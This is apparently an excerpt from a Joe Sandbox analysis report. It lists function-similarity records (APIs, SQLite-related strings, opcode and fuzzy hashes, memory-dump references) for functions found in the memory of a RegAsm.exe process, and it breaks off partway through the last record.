Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: INSERT INTO %Q.%Q(%Q) VALUES('flush')
API String ID: 0-2312637080
Opcode ID: c9256acf03246297987d00e1213585bbec16792947a095f4731d95834f702191
Instruction ID: 3c68d6e88d04a30e58e3a5ae7c698245a52bc600d237487125563e14aa4a3b39
Opcode Fuzzy Hash: c9256acf03246297987d00e1213585bbec16792947a095f4731d95834f702191
Instruction Fuzzy Hash: 910192367042415ED721976EFC40FE7BBE8EBC8621F05486EF6ADC2201D361AC859371

Uniqueness

Uniqueness Score: -1.00%

Function 1B4C0D70 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47COMMON

Download Yara Rule

Strings

INSERT INTO %Q.%Q(%Q) VALUES('flush'), xrefs: 1B4C0D87

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: INSERT INTO %Q.%Q(%Q) VALUES('flush')
API String ID: 0-2312637080
Opcode ID: 238cbf095fcc3c7ee35542c7d4f63334d10de8149436c487bf6cf6afa710a7b9
Instruction ID: 3e319634e219efef1d268061b22d2bacc46f76b7f84aa34c666d67bc94e3d04d
Opcode Fuzzy Hash: 238cbf095fcc3c7ee35542c7d4f63334d10de8149436c487bf6cf6afa710a7b9
Instruction Fuzzy Hash: 2901697A604300AFE7109A5AEC81F93BBE9EB8CB24F04845DF68DD7240D772BC468761

Uniqueness

Uniqueness Score: -1.00%

Function 1B49EF30 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 43COMMON

Download Yara Rule

Strings

misuse, xrefs: 1B49EFB0
%s at line %d of [%.10s], xrefs: 1B49EFB5
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B49EFA6

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse
API String ID: 0-3564305576
Opcode ID: ef2f7a0191d5d3e034b7a61ec197409021b1506d580d6d0c018c1d5db097bd67
Instruction ID: f49847df54a156f08ff18c0116aee6d34d7bf62586724f0abd64d235f0b884bd
Opcode Fuzzy Hash: ef2f7a0191d5d3e034b7a61ec197409021b1506d580d6d0c018c1d5db097bd67
Instruction Fuzzy Hash: B801F5B1A01621AFD7148F08EC48BCA7FA5AFE5305F05811CE9885B344D331E84DC7D6

Uniqueness

Uniqueness Score: -1.00%

Function 1B509180 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

Strings

%s_stat, xrefs: 1B509192

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s_stat
API String ID: 0-920702477
Opcode ID: 381a03aeb1040ea2c310fbcda0a2122a9f76eba28649432fde16e4d74a4c131d
Instruction ID: 64fe83028aad55e65503f06eacd0cc4d0400e3b42a1abafeac0454d1eee82337
Opcode Fuzzy Hash: 381a03aeb1040ea2c310fbcda0a2122a9f76eba28649432fde16e4d74a4c131d
Instruction Fuzzy Hash: A8F02762B056523BEB00467DBC81BC6EFE9EF48160F148629E40CA2108C322BC915391

Uniqueness

Uniqueness Score: -1.00%

Function 1B4B7F70 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 40COMMON

Download Yara Rule

Strings

CREATE TABLE x(key,value,type,atom,id,parent,fullkey,path,json HIDDEN,root HIDDEN), xrefs: 1B4B7F76

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: CREATE TABLE x(key,value,type,atom,id,parent,fullkey,path,json HIDDEN,root HIDDEN)
API String ID: 0-3072645960
Opcode ID: 528211fb9997cb6736ed4ebc6099194a5a15897aa81dcf0abcfbd3849023b023
Instruction ID: 1c99276f709505c2d37afc88b01f4411d4f31bab7222c6f46b73b73d30c601de
Opcode Fuzzy Hash: 528211fb9997cb6736ed4ebc6099194a5a15897aa81dcf0abcfbd3849023b023
Instruction Fuzzy Hash: A9F02B36B4430296DB005F19FC02BC97BD5AFD5311F198129F94496240F760E88583B1

Uniqueness

Uniqueness Score: -1.00%

Function 0040FC97 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 18memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,00000000,?,00410095,00000000), ref: 0040FCA2
HeapAlloc.KERNEL32(00000000,?,00410095,00000000), ref: 0040FCA9
wsprintfW.USER32 ref: 0040FCBA

Strings

%hs, xrefs: 0040FCB4

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesswsprintf
String ID: %hs
API String ID: 659108358-2783943728
Opcode ID: d5ea7713d317f2ebb614152b3c5bf60322d04d2ff2908d104b3bc2f949a7d368
Instruction ID: bcd4547f941fe6a092a856821e4b12fc33d1e40d09299ab1671c3f7be8122737
Opcode Fuzzy Hash: d5ea7713d317f2ebb614152b3c5bf60322d04d2ff2908d104b3bc2f949a7d368
Instruction Fuzzy Hash: 7BD05E317412287BC62027A4BC0AFAA7E28EB15AE2F400030FA09C6961CAA1441147EA

Uniqueness

Uniqueness Score: -1.00%

Function 1B596B50 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 9COMMON

Download Yara Rule

Strings

cannot open file, xrefs: 1B596B59
%s at line %d of [%.10s], xrefs: 1B596B5E
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B596B50

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$cannot open file$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-1799306995
Opcode ID: f805dd2869ff7c7f3122d1c49b338d94d86540c3193ca76919eb019a9f0d38ac
Instruction ID: 19077a90907a0d2c779c7da9ff2770040ec3e39fa5f470ef0ada9ee995ec55c9
Opcode Fuzzy Hash: f805dd2869ff7c7f3122d1c49b338d94d86540c3193ca76919eb019a9f0d38ac
Instruction Fuzzy Hash: 8DB092DB700280B6DA043B54CE03FD72C316778682F81CAA8B149392A6E296C0908372

Uniqueness

Uniqueness Score: -1.00%

Function 1B5CC1F0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 9COMMON

Download Yara Rule

Strings

misuse, xrefs: 1B5CC1F9
%s at line %d of [%.10s], xrefs: 1B5CC1FE
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B5CC1F0

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse
API String ID: 0-3564305576
Opcode ID: 880f186eb7be347389632487ce66260c1fafa307c46c6555f1f6b611240e593a
Instruction ID: 3df7045dc88c3863bdddc41a1dba3bbe055dccae3099e355e2a5b7fbb3f35e01
Opcode Fuzzy Hash: 880f186eb7be347389632487ce66260c1fafa307c46c6555f1f6b611240e593a
Instruction Fuzzy Hash: 6FB092EA710A48F6DF042344CE83FDA6C319BF8347F81C6ACB2556D2A6E26580506372

Uniqueness

Uniqueness Score: -1.00%

Function 1B538EB0 Relevance: 6.2, APIs: 4, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 195cf5c488fa45a5daa598f3ed4972b408fda929c477fb934d9ebc7a08371bd8
Instruction ID: f65a33fc144a075fde1485f9751cfa90a9d96364105bfeaf56f0298d6b41a4fe
Opcode Fuzzy Hash: 195cf5c488fa45a5daa598f3ed4972b408fda929c477fb934d9ebc7a08371bd8
Instruction Fuzzy Hash: C45136B1A043D24AF7228F759C457DAFFF49F45312F084AA9E8C58B362E369D488C361

Uniqueness

Uniqueness Score: -1.00%

Function 1B4B7DA0 Relevance: 6.2, APIs: 4, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c074a326e871b636ae283752056f8f4c812119a7c12a6f9dc4f7d6b2f0ec5765
Instruction ID: 2e1c52e8d61dd2081eafdbeb254c51a3b14ae1b3bfb222f79b3c8caaa88ea37a
Opcode Fuzzy Hash: c074a326e871b636ae283752056f8f4c812119a7c12a6f9dc4f7d6b2f0ec5765
Instruction Fuzzy Hash: 7141EF366016019FD714CF18DA80A96F7E1FF84324F18856EEA8687B62D772FC51CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1B4BCAE0 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64f15566ddab25c787ed05cf10e2b1c50c44e9ad38fae7b2066188378aa964c6
Instruction ID: 9ebe7e5129aef928b5f9404b7b1df8d7285a44e8bcc413cdd99378d1ee4e83c1
Opcode Fuzzy Hash: 64f15566ddab25c787ed05cf10e2b1c50c44e9ad38fae7b2066188378aa964c6
Instruction Fuzzy Hash: 1631C3B6B083019BDB10CF68E980B9AB7E4FF84311F00497EEA45CB751E325E994C7A5

Uniqueness

Uniqueness Score: -1.00%

Function 1B4BB1F0 Relevance: 6.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c84fadece956eb82bcd06ee462d33b28814fba88082786c6e23e5494ba88420
Instruction ID: 39adff561e135a3e28b5651de17c04dbfdc21ff9f074ca8e5310251314b0c130
Opcode Fuzzy Hash: 2c84fadece956eb82bcd06ee462d33b28814fba88082786c6e23e5494ba88420
Instruction Fuzzy Hash: 2B319E75504B419ADB28CB25E9487DAB7E0FF95310F00C92DD9DAC2A00D371F48A87A2

Uniqueness

Uniqueness Score: -1.00%

Function 004106E3 Relevance: 6.1, APIs: 4, Instructions: 92stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004106E8
strtok_s.MSVCRT ref: 0041070F
StrCmpCA.SHLWAPI(00000000,004254A8,?,?,?,?,00415EA8), ref: 00410740
strtok_s.MSVCRT ref: 004107A1

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: strtok_s$H_prolog
String ID:
API String ID: 1158113254-0
Opcode ID: b5e458bbd876f3b70d02ec80c078dd4daf08301cacabd59262e3263f66b59eb0
Instruction ID: da56b3c82fb463c8d862a91f29ea6f746d41f3decd9773721f134f1ac31463fb
Opcode Fuzzy Hash: b5e458bbd876f3b70d02ec80c078dd4daf08301cacabd59262e3263f66b59eb0
Instruction Fuzzy Hash: A321B4716006069ACB18DF61D9C1EFBB7A8FF14314B10453FE026D69D1DBB8E9C5CA54

Uniqueness

Uniqueness Score: -1.00%

Function 1B52CFE0 Relevance: 6.1, APIs: 4, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67f155ee4936aae19aec06cb809ffc92085dd37a0bce870209c165f40ac7d322
Instruction ID: fd2e0fa15a989031b85952d0dfca4ae17a7f2d176283a4f11793c944d486d4a0
Opcode Fuzzy Hash: 67f155ee4936aae19aec06cb809ffc92085dd37a0bce870209c165f40ac7d322
Instruction Fuzzy Hash: 4D21D075500709DFDB60EF68D881A9ABBF0EF98300F90486DF985C3261E331E6588B82

Uniqueness

Uniqueness Score: -1.00%

Function 1B68F4CA Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,00000000,00000000,?,00000001,00000000,?,?,00000000), ref: 1B68F4E0
GetLastError.KERNEL32(?,?,?,?), ref: 1B68F4ED
SetFilePointerEx.KERNEL32(?,?,?,?,?), ref: 1B68F513
SetFilePointerEx.KERNEL32(?,?,?,00000000,00000000,?,?,?), ref: 1B68F539

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID: FilePointer$ErrorLast
String ID:
API String ID: 142388799-0
Opcode ID: 382fb22a15595f61ae169e6bd40fe7be63330111959c8a6c848d8e833624ca72
Instruction ID: 35c3d362204ef9e138a5cf71e064b819e185a774c3c63a60093e3cc618c457f2
